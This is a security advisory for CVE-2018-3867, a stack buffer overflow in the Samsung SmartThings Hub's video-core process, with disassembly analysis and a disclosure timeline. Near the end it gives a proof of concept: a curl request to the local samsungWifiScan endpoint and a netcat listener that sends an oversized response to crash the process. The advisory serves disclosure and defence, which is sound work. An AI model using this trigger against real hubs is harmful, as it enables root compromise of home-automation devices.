CVE-2018-3867
An exploitable stack-based buffer overflow vulnerability exists in the samsungWifiScan callback notification of video-core
’s HTTP server of Samsung SmartThings Hub. The video-core
process incorrectly handles the answer received from a smart camera, leading to a buffer overflow on the stack. An attacker can send a series of HTTP requests to trigger this vulnerability.
Samsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17
https://shop.smartthings.com/products/samsung-smartthings-hub
9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
CWE-120: Buffer Copy without Checking Size of Input (‘Classic Buffer Overflow’)
Samsung produces a series of devices aimed at controlling and monitoring a home, such as wall switches, LED bulbs, thermostats and cameras. One of those is the Samsung SmartThings Hub, a central controller which allows an end user to use their smartphone to connect to their house remotely and operate other devices through it. The hub board utilizes several systems on chips. The firmware in question is executed by an i.MX 6 SoloLite processor (Cortex-A9), which has an ARMv7-A architecture.
The firmware is Linux-based, and runs a series of daemons that interface with devices nearby via ethernet, ZigBee, Z-Wave and Bluetooth protocols. Additionally, the hubCore
process is responsible for communicating with the remote SmartThings servers via a persistent TLS connection. These servers act as a bridge that allows for secure communication between the smartphone application and the hub. End users can simply install the SmartThings mobile application on their smartphone to control the hub remotely.
One of the features of the hub is that it connects to smart cameras, configures them and looks at their livestreams. For testing, we set up the Samsung SmartCam SNH-V6414BN on the hub. Once done, the livestream can be displayed by the smartphone application by connecting either to the remote SmartThings servers, or directly to the camera, if they’re both in the same subnetwork.
Inside the hub, the livestream is handled by the video-core
process, which uses ffmpeg
to connect via RTSP to the smart camera in its same local network, and at the same time, provides a streamable link for the smartphone application.
The remote SmartThings servers have the possibility to communicate with the video-core
process by sending messages in the persistent TLS connection, established by the hubCore
process. These messages can encapsulate an HTTP request, which hubCore
would relay directly to the HTTP server exposed by video-core
. The HTTP server listens on port 3000, bound to the localhost address, so a local connection is needed to perform this request.
We identified a vulnerable request that can be exploited to achieve code execution on the video-core
process, which is running as root.
By requesting the path “/samsungWifiScan” it’s possible to instruct the video-core
process to discover a Samsung smart camera and notify the operation using a callback. As an example, consider this request:
$ curl -X POST 'http://127.0.0.1:3000/samsungWifiScan' -d '{"cameraIp":"<camera-ip>","user":"x","password":"x","callbackUrl":"http://<callback-ip>:<callback-port>/<path>"}'
Once received, video-core
will send the following HTTP request to “camera-ip”:
[1]
- video-core
GET /stw-cgi-rest/network/wifi/scan HTTP/1.1
Host: <camera-ip>:80
Accept: */*
- smart camera
<camera-http-response>
When the smart camera replies, video-core
relays “camera-http-response” to the callback:
[2]
POST <path> HTTP/1.1
Host: <callback-ip>:<callback-port>
Accept: */*
Content-Type: application/json
X-ST-Application: Video-Core
X-ST-Version: 1.5.3
X-ST-Method: CALLBACK
X-ST-Class: WifiSurvey
Content-Location: /dev/
Content-Length: 72
{"stClass":"WifiSurvey", "WlanSurveyError":"<camera-http-response>"}
The request at [1] is generated by sub_45BEC
:
.text:00045BEC sub_45BEC
...
.text:00045D00 438 MOV R1, #:lower16:aHttpSStwCgiRes ; "http://%s/stw-cgi-rest/network/wifi/sca"...
.text:00045D04 438 ADD R2, SP, #0x438+cameraIp
.text:00045D08 438 MOVT R1, #:upper16:aHttpSStwCgiRes ; "http://%s/stw-cgi-rest/network/wifi/sca"...
.text:00045D0C 438 ADD R0, SP, #0x438+camera_url
.text:00045D10 438 BL sprintf
.text:00045D14 438 ADD R2, SP, #0x438+camera_url
.text:00045D18 438 MOV R1, #0x2712
.text:00045D1C 438 MOV R0, R4
.text:00045D20 438 BL curl_easy_setopt
.text:00045D24 438 MOV R1, #0x6B
.text:00045D28 438 MOV R2, #2
.text:00045D2C 438 MOV R0, R4
.text:00045D30 438 BL curl_easy_setopt
.text:00045D34 438 MOV R1, #0x27BD
.text:00045D38 438 ADD R2, SP, #0x438+username
.text:00045D3C 438 MOV R0, R4
.text:00045D40 438 BL curl_easy_setopt
.text:00045D44 438 ADD R2, SP, #0x438+password
.text:00045D48 438 MOV R1, #0x27BE
.text:00045D4C 438 MOV R0, R4
.text:00045D50 438 BL curl_easy_setopt
.text:00045D54 438 MOV R2, #:lower16:sub_458C8
.text:00045D58 438 MOV R1, #0x4E2B
.text:00045D5C 438 MOVT R2, #:upper16:sub_458C8
.text:00045D60 438 MOV R0, R4
.text:00045D64 438 BL curl_easy_setopt
.text:00045D68 438 ADD R2, SP, #0x438+curl_data_buffer
.text:00045D6C 438 MOV R1, #0x2711
.text:00045D70 438 MOV R0, R4
.text:00045D74 438 BL curl_easy_setopt ; [3]
.text:00045D78 438 MOV R1, #0xD
.text:00045D7C 438 MOV R2, #0x19
.text:00045D80 438 MOV R0, R4
.text:00045D84 438 BL curl_easy_setopt
.text:00045D88 438 MOV R0, R4
.text:00045D8C 438 BL curl_easy_perform ; [4]
.text:00045D90 438 SUBS R7, R0, #0
.text:00045D94 438 LDR R3, [R5]
.text:00045D98 438 BEQ loc_45EF8 ; jump is taken
...
.text:00045EF8 loc_45EF8
.text:00045EF8 438 CMP R3, #2
.text:00045EFC 438 BHI loc_45FEC ; jump is taken
...
.text:00045F00 loc_45F00
.text:00045F00 438 ADD R0, SP, #0x438+callbackUrl
.text:00045F04 438 LDR R1, [SP,#0x438+curl_data_buffer] ; [5]
.text:00045F08 438 MOV R2, #1
.text:00045F0C 438 BL sub_45AA8 ; [5]
...
.text:00045FEC loc_45FEC
...
.text:00046028 438 BL log
.text:0004602C 438 B loc_45F00
We can see that libcurl
is used to send an HTTP request to the chosen “camera-ip”. A buffer for storing the smart camera’s answer is specified at [3]. After calling curl_easy_perform
[4], the response is passed as second argument to sub_45AA8
[5].
.text:00045AA8 sub_45AA8
.text:00045AA8
.text:00045AA8 var_910 = -0x910
.text:00045AA8 var_90C = -0x90C
.text:00045AA8 var_904 = -0x904
.text:00045AA8 s = -0x724
.text:00045AA8 var_718 = -0x718
.text:00045AA8 var_714 = -0x714
.text:00045AA8 var_710 = -0x710
.text:00045AA8 var_708 = -0x708
.text:00045AA8 var_6F4 = -0x6F4
.text:00045AA8 sprintf_dest = -0x6E0
.text:00045AA8
.text:00045AA8 000 STMFD SP!, {R4-R7,LR}
.text:00045AAC 014 SUB SP, SP, #0x8F0
.text:00045AB0 904 SUB SP, SP, #0xC
.text:00045AB4 910 MOV R6, R1 ; [8]
.text:00045AB8 910 MOV R4, R2
.text:00045ABC 910 MOV R5, R0
.text:00045AC0 910 MOV R1, #0
.text:00045AC4 910 MOV R2, #0x70C
.text:00045AC8 910 ADD R0, SP, #0x910+s
.text:00045ACC 910 MOV R7, #8
.text:00045AD0 910 BL memset
.text:00045AD4 910 MOV R3, #:lower16:aCallback ; "CALLBACK"
.text:00045AD8 910 MOV R12, #:lower16:aWifisurvey ; "WifiSurvey"
.text:00045ADC 910 MOVT R3, #:upper16:aCallback ; "CALLBACK"
.text:00045AE0 910 MOVT R12, #:upper16:aWifisurvey ; "WifiSurvey"
.text:00045AE4 910 LDMIA R3, {R0-R2} ; "CALLBACK"
.text:00045AE8 910 ADD LR, SP, #0x910+var_6F4
.text:00045AEC 910 ADD R3, SP, #0x910+var_708
.text:00045AF0 910 CMP R4, #0
.text:00045AF4 910 MOV R4, #0xA
.text:00045AF8 910 STR R7, [SP,#0x910+var_714]
.text:00045AFC 910 STR R4, [SP,#0x910+var_718]
.text:00045B00 910 ADD R4, SP, #0x910+sprintf_dest ; [9]
.text:00045B04 910 STMIA LR!, {R0,R1}
.text:00045B08 910 STRB R2, [LR]
.text:00045B0C 910 LDMIA R12, {R0-R2} ; "WifiSurvey"
.text:00045B10 910 STMIA R3!, {R0,R1}
.text:00045B14 910 MOVEQ R0, R4 ; [9]
.text:00045B18 910 MOV R1, R2,LSR#16
.text:00045B1C 910 STRH R2, [R3],#2
.text:00045B20 910 MOVNE R0, R4 ; [9]
.text:00045B24 910 STRB R1, [R3]
.text:00045B28 910 MOVEQ R1, #0x3AF0
.text:00045B2C 910 MOVNE R1, #:lower16:aStclassWifis_0 ; "{\"stClass\":\"WifiSurvey\", \"WlanSurv"...
.text:00045B30 910 MOVTEQ R1, #:upper16:aStclassWifis_0 ; "{\"stClass\":\"WifiSurvey\", \"WlanSurv"...
.text:00045B34 910 MOVTNE R1, #0xC
.text:00045B38 910 MOVEQ R2, R6 ; [8]
.text:00045B3C 910 MOVNE R2, R6 ; [8]
.text:00045B40 910 BL sprintf ; [7]
.text:00045B44 910 MOV R0, R4
.text:00045B48 910 BL strlen
.text:00045B4C 910 ADD R1, SP, #0x910+s
.text:00045B50 910 STR R0, [SP,#0x910+var_710]
.text:00045B54 910 MOV R0, R5
.text:00045B58 910 BL notify_via_callback_url ; [6]
This function is generating the POST request at [2], which is eventually dispatched at [6]. The POST data is created by calling sprintf
[7] and passing the unconstrained smart camera’s response [8]. Since the destination buffer is on the stack [9], this can be exploited to execute arbitrary code.
We identified two different vectors that allow for exploiting this vulnerability:
hubCore
that would be relayed without modification to the vulnerable video-core
process.hubCore
process and is allowed to make any localhost connection. It is thus possible for a SmartApp to send arbitrary HTTP requests directly to the vulnerable video-core
process.A third vector might exist, which we didn’t test. This would consist of sending a malicious request from the SmartThings mobile application to the remote SmartThings servers. In turn, depending on the remote APIs available, the servers could relay the malicious payload back to the device via the persistent TLS connection. To use this vector, an attacker would need to own a valid OAuth bearer token, or the relative username and password pair to obtain it.
Moreover, note that this vulnerability could also be exploited without prior authentication when an attacker has the possibility to wait for a camera discovery to happen, or when able to trigger a discovery through other means.
The following proof of concept shows how to crash the video-core
process:
# using curl from inside the hub, but the same request could be sent using a SmartApp
$ curl -X POST 'http://127.0.0.1:3000/samsungWifiScan' -d "{\"cameraIp\":\"${sAttackerIP}:${sAttackerPort}\"}"
# on the attacker machine
$ perl -e 'print "A"x0x700' | nc -l -p ${sAttackerPort}
Once the netcat connection is closed, video-core
should crash.
2018-03-28 - Vendor Disclosure
2018-05-23 - Discussion with vendor/review of timeline for disclosure
2018-07-17 - Vendor patched
2018-07-26 - Public Release
Discovered by Claudio Bozzato of Cisco Talos.